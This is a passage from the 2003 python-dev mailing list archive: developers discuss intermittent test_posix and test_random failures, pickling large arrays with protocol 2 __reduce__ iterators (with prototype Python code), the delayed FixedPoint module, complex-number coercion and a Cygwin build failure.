> <http://mail.python.org/pipermail/python-dev/2003-February/032694.html>`__
>     - `exec/with thunk-handling proposal
> <http://mail.python.org/pipermail/python-dev/2003-February/032800.html>`__
>
> Thanks to Samuele Pedroni for providing me a technical summary that I was
> able to use to help write this summary.
>
> The concept of adding thunks to Python came up through the extended
> function syntax thread (in case you don't know what a thunk is, you can
> think of it as a chunk of code that is compiled and ready to use but is
> not executed until a later time).  Some suggested syntaxes were::
>
>  lvalue = thunk(args):
>      ...code...
>
> or::
>
>  do lvalue = thunk(args):
>      ...code...
>

thunk(args) above is probably more precisely thunk_consumer_maker(args) (I
think I called it a "behavior"), the thunk truly would be a reification of the
...code... suite, i.e. an object for ...code... .



From mal@lemburg.com  Thu Feb 20 11:31:43 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 20 Feb 2003 12:31:43 +0100
Subject: [Python-Dev] test_posix, test_random failing
Message-ID: <3E54BC9F.1050302@lemburg.com>

My nightly cronjob has issued two warnings for the CVS checkout
at 02:00 CET today:

test test_posix failed -- Traceback (most recent call last):
   File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_posix.py", line 39, in testNoArgFunctions
     posix_func()
OSError: [Errno 25] Inappropriate ioctl for device

The traceback is not very helpful I'm afraid and when I run the
test by hand I can't reproduce it.

test test_random failed -- Traceback (most recent call last):
   File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_random.py", line 25, in test_autoseed
     self.assertNotEqual(state1, state2)
   File "/home/lemburg/projects/Python/Dev-Python/Lib/unittest.py", line 300, in failIfEqual
     raise self.failureException, \
AssertionError: (2, (1045703145, 318847470, 620640488, 320379787, -1732263717, -1278593374, ...

Again, I can't reproduce this one either.

Now, these failures may be due to some quirk in my machine or
hint to an intermittent problem with the above code.

Anybody else see these ?

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 20 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     40 days left
EuroPython 2003, Charleroi, Belgium:                       124 days left



From tim_one@email.msn.com  Thu Feb 20 11:41:43 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Thu, 20 Feb 2003 06:41:43 -0500
Subject: [Python-Dev] What happened to fixed point?
In-Reply-To: <GCEDKONBLEFPPADDJCOEAEJBIFAA.whisper@oz.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEIADOAB.tim_one@email.msn.com>

;David LeBlanc]
> I was told that FixedPoint had a sponsor (if that's the right
> word) for 2.3.
> Did it not make it or did it just not get mentioned in the
> release notes for a2?

It's not in 2.3a2.  I assume Raymond couldn't make time for it.  I tried to,
but didn't get beyond submitting a doc patch to the SF fixedpoint project.
Staring at the code there, it became clear to me that it would consume more
time than I thought it would to finish it (e.g., the proliferation of
gimmicks to play with subclasses wasn't in the original, and offhand struck
me as a wrong thing to do; the mechanism for changing rounding mode also
seemed as thread-hostile as anything could be; and I still don't have time
to argue about it).  At this point, given that it would consume real time to
finish, if I had that time I'd rather devote it to moving Aahz's project
along for 2.4.



From rwgk@yahoo.com  Thu Feb 20 12:38:58 2003
From: rwgk@yahoo.com (Ralf W. Grosse-Kunstleve)
Date: Thu, 20 Feb 2003 04:38:58 -0800 (PST)
Subject: [Python-Dev] pickling of large arrays
Message-ID: <20030220123859.73371.qmail@web20206.mail.yahoo.com>

This is question is related to PEP 307, "Extensions to the pickle protocol",
http://www.python.org/peps/pep-0307.html .

Apparently the new Pickle "protocol 2" provides a mechanism for
avoiding large temporaries, but only for lists and dicts (section
"Pickling of large lists and dicts" near the end). I am wondering if
the new protocol could also help us to eliminate large temporaries when
pickling Boost.Python extension classes.

We wrote an open source C++ array library with Boost.Python bindings.
For pickling we use the __getstate__, __setstate__ protocol. As it
stands pickling involves converting the arrays to Python strings,
similar to what is done in Numpy. There are two mechanisms:

1. "single buffered":

   For numeric types (int, long, double, etc.) a Python string is
   allocated based on an upper estimate for the required size
   (PyString_FromStringAndSize). The entire numeric array is converted
   directly to that string. Finally the Python string is resized
   (_PyString_Resize).
   With this mechanism there are 2 copies of the array in memory:
     - the original array and
     - the Python string.

2. "double buffered":

   For some user-defined element types it is very difficult to estimate
   an upper limit for the size of the string representation. Therefore
   the array is first converted to a dynamically growing C++
   std::string, which is then copied to a Python string.
   With this mechanism there are 3 copies of the array in memory:
     - the original array,
     - the std::string, and
     - the Python string.

For very large arrays the memory overhead can be a limiting factor.
Could the new protocol 2 help us in some way?

Thank you in advance,
        Ralf


__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, more
http://taxes.yahoo.com/


From guido@python.org  Thu Feb 20 13:03:40 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 20 Feb 2003 08:03:40 -0500
Subject: [Python-Dev] test_posix, test_random failing
In-Reply-To: "Your message of Thu, 20 Feb 2003 12:31:43 +0100."
 <3E54BC9F.1050302@lemburg.com>
References: <3E54BC9F.1050302@lemburg.com>
Message-ID: <200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net>

> My nightly cronjob has issued two warnings for the CVS checkout
> at 02:00 CET today:
> 
> test test_posix failed -- Traceback (most recent call last):
>    File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_posix.py", line 39, in testNoArgFunctions
>      posix_func()
> OSError: [Errno 25] Inappropriate ioctl for device
> 
> The traceback is not very helpful I'm afraid and when I run the
> test by hand I can't reproduce it.

Try running the test from a cron job without regrtest (i.e. ./python
Lib/test/test_posix.py), and putting some extra prints in it.

Some of the functions tested (e.g. ctermid, getlogin) use stdin to
determine who is logged in.  Maybe these should just be ignored if
they fail with this specific error (since the error means they're
working as advertised).

> test test_random failed -- Traceback (most recent call last):
>    File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_random.py", line 25, in test_autoseed
>      self.assertNotEqual(state1, state2)
>    File "/home/lemburg/projects/Python/Dev-Python/Lib/unittest.py", line 300, in failIfEqual
>      raise self.failureException, \
> AssertionError: (2, (1045703145, 318847470, 620640488, 320379787, -1732263717, -1278593374, ...

This one I don't understand.  Maybe the sleep(1) in the test isn't
long enough?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From xscottg@yahoo.com  Thu Feb 20 13:58:18 2003
From: xscottg@yahoo.com (Scott Gilbert)
Date: Thu, 20 Feb 2003 05:58:18 -0800 (PST)
Subject: [Python-Dev] pickling of large arrays
In-Reply-To: <20030220123859.73371.qmail@web20206.mail.yahoo.com>
Message-ID: <20030220135818.55067.qmail@web40105.mail.yahoo.com>

--- "Ralf W. Grosse-Kunstleve" <rwgk@yahoo.com> wrote:
> This is question is related to PEP 307, "Extensions to the pickle
> protocol",
> http://www.python.org/peps/pep-0307.html .
> 
> Apparently the new Pickle "protocol 2" provides a mechanism for
> avoiding large temporaries, but only for lists and dicts (section
> "Pickling of large lists and dicts" near the end). I am wondering if
> the new protocol could also help us to eliminate large temporaries when
> pickling Boost.Python extension classes.
> 
> We wrote an open source C++ array library with Boost.Python bindings.
> For pickling we use the __getstate__, __setstate__ protocol. As it
> stands pickling involves converting the arrays to Python strings,
> similar to what is done in Numpy. There are two mechanisms:
> 
> 1. "single buffered":
> 
>    For numeric types (int, long, double, etc.) a Python string is
>    allocated based on an upper estimate for the required size
>    (PyString_FromStringAndSize). The entire numeric array is converted
>    directly to that string. Finally the Python string is resized
>    (_PyString_Resize).
>    With this mechanism there are 2 copies of the array in memory:
>      - the original array and
>      - the Python string.
> 
> 2. "double buffered":
> 
>    For some user-defined element types it is very difficult to estimate
>    an upper limit for the size of the string representation. Therefore
>    the array is first converted to a dynamically growing C++
>    std::string, which is then copied to a Python string.
>    With this mechanism there are 3 copies of the array in memory:
>      - the original array,
>      - the std::string, and
>      - the Python string.
> 
> For very large arrays the memory overhead can be a limiting factor.
> Could the new protocol 2 help us in some way?
> 


I hadn't seen this PEP yet.  Very nice.

I don't know how to solve your second case with it, but it looks like you
could solve your first case with very little overhead:

Have your __reduce__ method return a 4-tuple (function, arguments, state,
listitems) with:
 
  function = a constructing function that takes the length of your array in
bytes, and the type of the data in the array

  arguments = a 2-tuple specifying the bytes and type

  state = None

  listitems = an iterator that returns small chunks of memory at a time. 
For instance have it generate your array with 1K or 8K strings at a time.

This strategy should avoid having to "double buffer" your array when
pickling.  The overhead would be the 1 or 8 K that would presumably be
reused multiple times while pickling a large array.  Your multi-megabyte
original array would never have to be copied all at once.

For unpickling, you'd have your constructor function allocate all the space
in one go, and make the semantics of your append() or extend() method do
the right thing.


I've been gone for a while, is this PEP going to be included in the final
version of 2.3?










__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, more
http://taxes.yahoo.com/


From xscottg@yahoo.com  Thu Feb 20 14:03:14 2003
From: xscottg@yahoo.com (Scott Gilbert)
Date: Thu, 20 Feb 2003 06:03:14 -0800 (PST)
Subject: [Python-Dev] pickling of large arrays
In-Reply-To: <20030220135818.55067.qmail@web40105.mail.yahoo.com>
Message-ID: <20030220140314.32897.qmail@web40102.mail.yahoo.com>

--- Scott Gilbert <xscottg@yahoo.com> wrote:
> 
> I've been gone for a while, is this PEP going to be included in the final
> version of 2.3?
> 

Don't answer that, I just saw the notice for 2.3a2...  :-)







__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, more
http://taxes.yahoo.com/


From mal@lemburg.com  Thu Feb 20 14:06:36 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 20 Feb 2003 15:06:36 +0100
Subject: [Python-Dev] test_posix, test_random failing
In-Reply-To: <200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net>
References: <3E54BC9F.1050302@lemburg.com> <200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E54E0EC.2020202@lemburg.com>


Guido van Rossum wrote:
>>My nightly cronjob has issued two warnings for the CVS checkout
>>at 02:00 CET today:
>>
>>test test_posix failed -- Traceback (most recent call last):
>>   File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_posix.py", line 39, in testNoArgFunctions
>>     posix_func()
>>OSError: [Errno 25] Inappropriate ioctl for device
>>
>>The traceback is not very helpful I'm afraid and when I run the
>>test by hand I can't reproduce it.
> 
> Try running the test from a cron job without regrtest (i.e. ./python
> Lib/test/test_posix.py), and putting some extra prints in it.
> 
> Some of the functions tested (e.g. ctermid, getlogin) use stdin to
> determine who is logged in.  Maybe these should just be ignored if
> they fail with this specific error (since the error means they're
> working as advertised).

Ok, here's the output:

testNoArgFunctions (__main__.PosixTester) ... Running function ctermid
Running function getcwd
Running function getcwdu
Running function uname
Running function times
Running function getlogin
    ERROR
Running function getloadavg
Running function tmpnam
Running function getegid
Running function geteuid
Running function getgid
Running function getgroups
Running function getpid
Running function getpgrp
Running function getppid
Running function getuid
ok

Looks like getlogin doesn't like being run in non-interactive
mode (ie. without a terminal).

>>test test_random failed -- Traceback (most recent call last):
>>   File "/home/lemburg/projects/Python/Dev-Python/Lib/test/test_random.py", line 25, in test_autoseed
>>     self.assertNotEqual(state1, state2)
>>   File "/home/lemburg/projects/Python/Dev-Python/Lib/unittest.py", line 300, in failIfEqual
>>     raise self.failureException, \
>>AssertionError: (2, (1045703145, 318847470, 620640488, 320379787, -1732263717, -1278593374, ...
> 
> 
> This one I don't understand.  Maybe the sleep(1) in the test isn't
> long enough?

I could not reproduce this, but perhaps using long(time.time()*256) isn't
safe enough to produce different states in the WH-generator ?! I'd
add a counter or hash the previous stored state to add some
more noise.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 20 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     40 days left
EuroPython 2003, Charleroi, Belgium:                       124 days left



From guido@python.org  Thu Feb 20 14:30:42 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 20 Feb 2003 09:30:42 -0500
Subject: [Python-Dev] test_posix, test_random failing
In-Reply-To: Your message of "Thu, 20 Feb 2003 15:06:36 +0100."
 <3E54E0EC.2020202@lemburg.com>
References: <3E54BC9F.1050302@lemburg.com> <200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net>
 <3E54E0EC.2020202@lemburg.com>
Message-ID: <200302201430.h1KEUhg06362@odiug.zope.com>

I suggesting making to SF tracker items for this now.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Feb 20 14:37:35 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 20 Feb 2003 09:37:35 -0500
Subject: [Python-Dev] pickling of large arrays
In-Reply-To: Your message of "Thu, 20 Feb 2003 04:38:58 PST."
 <20030220123859.73371.qmail@web20206.mail.yahoo.com>
References: <20030220123859.73371.qmail@web20206.mail.yahoo.com>
Message-ID: <200302201437.h1KEbaY06416@odiug.zope.com>

> This is question is related to PEP 307, "Extensions to the pickle protocol",
> http://www.python.org/peps/pep-0307.html .
> 
> Apparently the new Pickle "protocol 2" provides a mechanism for
> avoiding large temporaries, but only for lists and dicts (section
> "Pickling of large lists and dicts" near the end). I am wondering if
> the new protocol could also help us to eliminate large temporaries when
> pickling Boost.Python extension classes.
> 
> We wrote an open source C++ array library with Boost.Python bindings.
> For pickling we use the __getstate__, __setstate__ protocol. As it
> stands pickling involves converting the arrays to Python strings,
> similar to what is done in Numpy. There are two mechanisms:
> 
> 1. "single buffered":
> 
>    For numeric types (int, long, double, etc.) a Python string is
>    allocated based on an upper estimate for the required size
>    (PyString_FromStringAndSize). The entire numeric array is converted
>    directly to that string. Finally the Python string is resized
>    (_PyString_Resize).
>    With this mechanism there are 2 copies of the array in memory:
>      - the original array and
>      - the Python string.
> 
> 2. "double buffered":
> 
>    For some user-defined element types it is very difficult to estimate
>    an upper limit for the size of the string representation. Therefore
>    the array is first converted to a dynamically growing C++
>    std::string, which is then copied to a Python string.
>    With this mechanism there are 3 copies of the array in memory:
>      - the original array,
>      - the std::string, and
>      - the Python string.
> 
> For very large arrays the memory overhead can be a limiting factor.
> Could the new protocol 2 help us in some way?

Probably, if you can switch from __getstate__ to __reduce__.
__reduce__ can return a tuple of up to 5 items now; the last two are
iterators (one for list-ish types, one for dict-ish types).  If you
return an iterator that iterates over all the pieces of your array,
the array will be reconstituted at the other end using repeated calls
to obj.extend() or obj.append().  There's no need to derive from list
for this to work, all you need is methods extend() and append().

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Thu Feb 20 14:59:10 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 20 Feb 2003 15:59:10 +0100
Subject: [Python-Dev] test_posix, test_random failing
In-Reply-To: <200302201430.h1KEUhg06362@odiug.zope.com>
References: <3E54BC9F.1050302@lemburg.com>	<200302201303.h1KD3ea28346@pcp02138704pcs.reston01.va.comcast.net>  	<3E54E0EC.2020202@lemburg.com> <200302201430.h1KEUhg06362@odiug.zope.com>
Message-ID: <3E54ED3E.7070102@lemburg.com>

Guido van Rossum wrote:
> I suggesting making to SF tracker items for this now.

Done.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 20 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     40 days left
EuroPython 2003, Charleroi, Belgium:                       124 days left



From rwgk@yahoo.com  Thu Feb 20 15:05:29 2003
From: rwgk@yahoo.com (Ralf W. Grosse-Kunstleve)
Date: Thu, 20 Feb 2003 07:05:29 -0800 (PST)
Subject: [Python-Dev] pickling of large arrays
In-Reply-To: <20030220135818.55067.qmail@web40105.mail.yahoo.com>
Message-ID: <20030220150529.856.qmail@web20203.mail.yahoo.com>

--- Scott Gilbert <xscottg@yahoo.com> wrote:
> Have your __reduce__ method return a 4-tuple (function, arguments, state,
> listitems) with:
>  
>   function = a constructing function that takes the length of your array in
> bytes, and the type of the data in the array
> 
>   arguments = a 2-tuple specifying the bytes and type
> 
>   state = None
> 
>   listitems = an iterator that returns small chunks of memory at a time. 

Hey, this is great! I am beginning to see the light.

> I've been gone for a while, is this PEP going to be included in the final
> version of 2.3?

My little prototype below works with Python 2.3a2!

This is almost perfect. In C++ we can have two overloads.
Highly simplified:

template <typename T>
class array<T> {
  void append(T const& value); // the regular append
  void append(std::string const& value); // for unpickling
};

This will work for all T (e.g. int, float, etc.)
... except T == std::string.

This leads me to find it unfortunate that append() is re-used for
unpickling. How about:

  If the object has a (say) __unpickle_append__ method this is used by
  the unpickler instead of append or extend.

Ralf


import pickle

class int_array(object):

  def __init__(self, elems):
    self.elems = list(elems)

  def __reduce__(self):
    return (int_array_factory,
            (len(self.elems),),
            None,
            int_array_iter(self.elems))

  def append(self, value):
    values = [int(x) for x in value.split(",")]
    self.elems.extend(values)

class int_array_iter(object):

  def __init__(self, elems, buf_size=4):
    self.elems = elems
    self.buf_size = 4
    self.i = 0

  def __iter__(self):
    return self

  def next(self):
    if (self.i >= len(self.elems)): raise StopIteration
    result = ""
    for i in xrange(self.buf_size):
      result+= str(self.elems[self.i]) + ","
      self.i += 1
      if (self.i == len(self.elems)): break
    return result[:-1]

def int_array_factory(size):
  print "reserve:", size
  return int_array([])

f = int_array(range(11))
print "f.elems:", f.elems
s = pickle.dumps(f)
print s
g = pickle.loads(s)
print "g.elems:", g.elems


__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, more
http://taxes.yahoo.com/


From python@rcn.com  Thu Feb 20 15:13:58 2003
From: python@rcn.com (Raymond Hettinger)
Date: Thu, 20 Feb 2003 10:13:58 -0500
Subject: [Python-Dev] What happened to fixed point?
References: <LNBBLJKPBEHFEDALKOLCMEIADOAB.tim_one@email.msn.com>
Message-ID: <003d01c2d8f2$b5285600$550fa044@oemcomputer>

> > I was told that FixedPoint had a sponsor (if that's the right
> > word) for 2.3.
> > Did it not make it or did it just not get mentioned in the
> > release notes for a2?
> 
> It's not in 2.3a2.  I assume Raymond couldn't make time for it. 

I ran out of time before 2.3a2 but expect to 
get to it in this week.


Raymond Hettinger


From xscottg@yahoo.com  Thu Feb 20 15:53:12 2003
From: xscottg@yahoo.com (Scott Gilbert)
Date: Thu, 20 Feb 2003 07:53:12 -0800 (PST)
Subject: [Python-Dev] pickling of large arrays
In-Reply-To: <20030220150529.856.qmail@web20203.mail.yahoo.com>
Message-ID: <20030220155312.86379.qmail@web40106.mail.yahoo.com>

--- "Ralf W. Grosse-Kunstleve" <rwgk@yahoo.com> wrote:
> 
> This leads me to find it unfortunate that append() is re-used for
> unpickling. How about:
> 
>   If the object has a (say) __unpickle_append__ method this is used by
>   the unpickler instead of append or extend.
> 

I agree with you here, but I'll take what I can get.  I would vote for
__extend__(x) if the ballot came up and I was permitted to vote.







__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, more
http://taxes.yahoo.com/


From tim.one@comcast.net  Thu Feb 20 17:02:19 2003
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 20 Feb 2003 12:02:19 -0500
Subject: [Python-Dev] pickling of large arrays
In-Reply-To: <20030220150529.856.qmail@web20203.mail.yahoo.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHMENIEOAA.tim.one@comcast.net>

[Ralf W. Grosse-Kunstleve]
> ...
> My little prototype below works with Python 2.3a2!
>
> This is almost perfect. In C++ we can have two overloads.
> Highly simplified:
>
> template <typename T>
> class array<T> {
>   void append(T const& value); // the regular append
>   void append(std::string const& value); // for unpickling
> };
>
> This will work for all T (e.g. int, float, etc.)
> ... except T == std::string.
>
> This leads me to find it unfortunate that append() is re-used for
> unpickling.

append() has always been used for unpickling (well, since pickle came into
existence; "always" is an overstatement <wink>).

> How about:
>
>   If the object has a (say) __unpickle_append__ method this is used by
>   the unpickler instead of append or extend.

This is the implementation of the APPEND opcode (from pickle.py):

    def load_append(self):
        stack = self.stack
        value = stack.pop()
        list = stack[-1]
        list.append(value)

It's called once per list element, and clogging it up with
hasattr()/getattr() calls would greatly increase its cost (as is, it does
very little, and especially not in cPickle where all those
now-usually-trivial operations go at C speed).

So it's unlikely you're going to get a change in what the proto 0 APPEND
(which calls append()) and proto 1 APPENDS (which calls extend()) opcodes
do.  Adding brand new opcodes is still possible, but I doubt it's possible
for Guido or me to do the work.

> ...
> f = int_array(range(11))
> print "f.elems:", f.elems
> s = pickle.dumps(f)

Note that this is creating a text-mode ("protocol 0") pickle, which is less
efficient than proto 1, which in turn is less effiecient than proto 2.
That's your choice, just want to be sure you're aware you're making a
choice.  For backward compatibility, proto 0 has to remain the default.



From dave@boost-consulting.com  Thu Feb 20 14:36:01 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Thu, 20 Feb 2003 09:36:01 -0500
Subject: [Python-Dev] Cygwin build failing
Message-ID: <u4r6zdnou.fsf@boost-consulting.com>

If nobody knows the cure for this, please consider it a bug report.
Thanks,

------
$ ./configure --with-prefix=/usr/local/pydebug --with-pydebug
$ make
 ...

gcc -shared -Wl,--enable-auto-image-base build/temp.cygwin-1.3.19-i686-2.2/socketmodule.o -L/usr/local/lib -L. -lssl -lc
rypto -lpython2.2 -o build/lib.cygwin-1.3.19-i686-2.2/_socket.dll
building 'gdbm' extension
gcc -g -Wall -Wstrict-prototypes -DUSE_DL_IMPORT -I. -I/cygdrive/c/tools/Python-2.2.2/./Include -I/usr/local/include -I/
cygdrive/c/tools/Python-2.2.2/Include -I/cygdrive/c/tools/Python-2.2.2 -c /cygdrive/c/tools/Python-2.2.2/Modules/gdbmmod
ule.c -o build/temp.cygwin-1.3.19-i686-2.2/gdbmmodule.o
c:\tools\Python-2.2.2\python.exe: *** unable to remap C:\cygwin\bin\cygssl-0.9.7.dll to same address as parent(0xF80000)
 != 0xF90000
      7 [main] python 1000 sync_with_child: child 1316(0x618) died before initialization with status code 0x1
    234 [main] python 1000 sync_with_child: *** child state child loading dlls
error: Resource temporarily unavailable
[20408 refs]
make: *** [sharedmods] Error 1
------

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From tim.one@comcast.net  Thu Feb 20 17:24:50 2003
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 20 Feb 2003 12:24:50 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <3E53BD08.80900@lemburg.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHKENLEOAA.tim.one@comcast.net>

[M.-A. Lemburg]
> Isn't that caveat in the complex implementation ? Converting a
> complex with 0 img part would not cause any loss of information
> (apart from the usual integer truncations ;-)

Hmm.  Have you ever met a coercion you didn't like <0.9 wink>?
float(complex) also raises an exception unconditionally, and I think for
good reasons -- what someone *intends* by trying to convert a complex number
to a float or an int is a mystery.  The exceptions raised suggest one
plausible intent and how to get at it clearly:

>>> float(1+0j)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: can't convert complex to float; use e.g. abs(z)
>>>



From mal@lemburg.com  Thu Feb 20 17:59:26 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 20 Feb 2003 18:59:26 +0100
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHKENLEOAA.tim.one@comcast.net>
References: <BIEJKCLHCIOIHAGOKOLHKENLEOAA.tim.one@comcast.net>
Message-ID: <3E55177E.9080107@lemburg.com>

Tim Peters wrote:
> [M.-A. Lemburg]
> 
>>Isn't that caveat in the complex implementation ? Converting a
>>complex with 0 img part would not cause any loss of information
>>(apart from the usual integer truncations ;-)
> 
> Hmm.  Have you ever met a coercion you didn't like <0.9 wink>?

I'd even coerce strings to floats if possible ;-)

BTW, I implemented that in mxNumber for the fun of it:
 >>> from mx.Number import *
 >>> Float(1.23) + '3.45'
4.67999999999999998223e+0
 >>> Rational(2,3) + '3/4'
17/12

Seriously, the above was only meant as hint to not rely on
nb_negative for PyNumber_Check(), but to use nb_int
for this. After all, code using PyNumber_Check() will expect that
at least PyNumber_Int() to work on the object. If you check
for nb_negative, this will not always work, since then complex objects
would get accepted.

> float(complex) also raises an exception unconditionally, and I think for
> good reasons -- what someone *intends* by trying to convert a complex number
> to a float or an int is a mystery.  The exceptions raised suggest one
> plausible intent and how to get at it clearly:
> 
>>>>float(1+0j)
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: can't convert complex to float; use e.g. abs(z)

I know :-)

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 20 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     40 days left
EuroPython 2003, Charleroi, Belgium:                       124 days left



From rwgk@yahoo.com  Thu Feb 20 18:02:01 2003
From: rwgk@yahoo.com (Ralf W. Grosse-Kunstleve)
Date: Thu, 20 Feb 2003 10:02:01 -0800 (PST)
Subject: [Python-Dev] pickling of large arrays
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHMENIEOAA.tim.one@comcast.net>
Message-ID: <20030220180201.43079.qmail@web20206.mail.yahoo.com>

--- Tim Peters <tim.one@comcast.net> wrote:
> So it's unlikely you're going to get a change in what the proto 0 APPEND
> (which calls append()) and proto 1 APPENDS (which calls extend()) opcodes
> do.  Adding brand new opcodes is still possible, but I doubt it's possible
> for Guido or me to do the work.

Sounds like a chance for plan B: a thin wrapper around a Python string.
Called "pickle_string" in the revised prototype below. Ruling out the
possibility that users want to create C++ arrays of Python
pickle_strings this will work for all types. Creating a trivial type
like pickle_string is a snag with Boost.Python. But I am guessing that
the Numarray people must hate it, unless they have another simple
work-around.

I believe the brand new opcode is the better long-term solution for the
community. I'd be willing to invest a little time if others are also
interested and willing to help.

Ralf


import pickle

class pickle_string(object):

  def __init__(self, size):
    self.size = size # here we allocate the string
    self.string = "" # this will be a reference to the Python string object
    # the C++ implementation will write directly into the string contained here

  def __getstate__(self):
    return self.string # return a reference

  def __setstate__(self, state):
    self.string = state # copy a reference
    
class int_array(object):

  def __init__(self, elems):
    self.elems = list(elems)

  def __reduce__(self):
    return (int_array_factory,
            (len(self.elems),),
            None,
            int_array_iter(self.elems))

  def append(self, value):
    if (type(value) == type(pickle_string(0))):
      values = [int(x) for x in value.string.split(",")]
      self.elems.extend(values)
    else:
      self.elems.append(value)

class int_array_iter(object):

  def __init__(self, elems, buf_size=4):
    self.elems = elems
    self.buf_size = 4
    self.i = 0

  def __iter__(self):
    return self

  def next(self):
    if (self.i >= len(self.elems)): raise StopIteration
    result = pickle_string(123)
    for i in xrange(self.buf_size):
      result.string += str(self.elems[self.i]) + ","
      self.i += 1
      if (self.i == len(self.elems)): break
    result.string = result.string[:-1]
    return result

def int_array_factory(size):
  print "reserve:", size
  return int_array([])

f = int_array(range(11))
f.append(13)
print "f.elems:", f.elems
s = pickle.dumps(f)
print s
g = pickle.loads(s)
print "g.elems:", g.elems


__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, more
http://taxes.yahoo.com/


From jason@tishler.net  Thu Feb 20 18:24:08 2003
From: jason@tishler.net (Jason Tishler)
Date: Thu, 20 Feb 2003 13:24:08 -0500
Subject: [Python-Dev] Cygwin build failing
In-Reply-To: <u4r6zdnou.fsf@boost-consulting.com>
References: <u4r6zdnou.fsf@boost-consulting.com>
Message-ID: <20030220182408.GA2348@tishler.net>

Dave,

On Thu, Feb 20, 2003 at 09:36:01AM -0500, David Abrahams wrote:
> If nobody knows the cure for this,

I do, see below...

> please consider it a bug report.

In the future, please use SourceForge for bug reports:

    http://sf.net/projects/python/

> $ ./configure --with-prefix=/usr/local/pydebug --with-pydebug
> [snip]
> $ make
> [snip]
> c:\tools\Python-2.2.2\python.exe: *** unable to remap C:\cygwin\bin\cygssl-0.9.7.dll to same address as parent(0xF80000)
>  != 0xF90000
>       7 [main] python 1000 sync_with_child: child 1316(0x618) died before initialization with status code 0x1
>     234 [main] python 1000 sync_with_child: *** child state child loading dlls
> error: Resource temporarily unavailable

The above should not occur with my patched Python 2.2.2 source:

    http://sf.net/tracker/?group_id=5470&atid=305470&func=detail&aid=491107

If you are using the stock Python 2.2.2 source, then please use a copy
of my pre-patched source available on any Cygwin mirror, for example:

    http://mirrors.rcn.net/pub/sourceware/cygwin/release/python/python-2.2.2-5-src.tar.bz2

or build from CVS.

Additionally, I recommend rebasing your system:

    http://cygwin.com/ml/cygwin-announce/2003-02/msg00025.html

Jason

-- 
PGP/GPG Key: http://www.tishler.net/jason/pubkey.asc or key servers
Fingerprint: 7A73 1405 7F2B E669 C19D  8784 1AFD E4CC ECF4 8EF6


From guido@python.org  Thu Feb 20 18:24:56 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 20 Feb 2003 13:24:56 -0500
Subject: [Python-Dev] Cygwin build failing
In-Reply-To: Your message of "Thu, 20 Feb 2003 09:36:01 EST."
 <u4r6zdnou.fsf@boost-consulting.com>
References: <u4r6zdnou.fsf@boost-consulting.com>
Message-ID: <200302201824.h1KIOvu07067@odiug.zope.com>

> From: David Abrahams <dave@boost-consulting.com>
> 
> If nobody knows the cure for this, please consider it a bug report.

You've been reading python-dev long enough to know that no bug is
reported unless it's been reported to SF.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Thu Feb 20 18:47:50 2003
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 20 Feb 2003 13:47:50 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <3E55177E.9080107@lemburg.com>
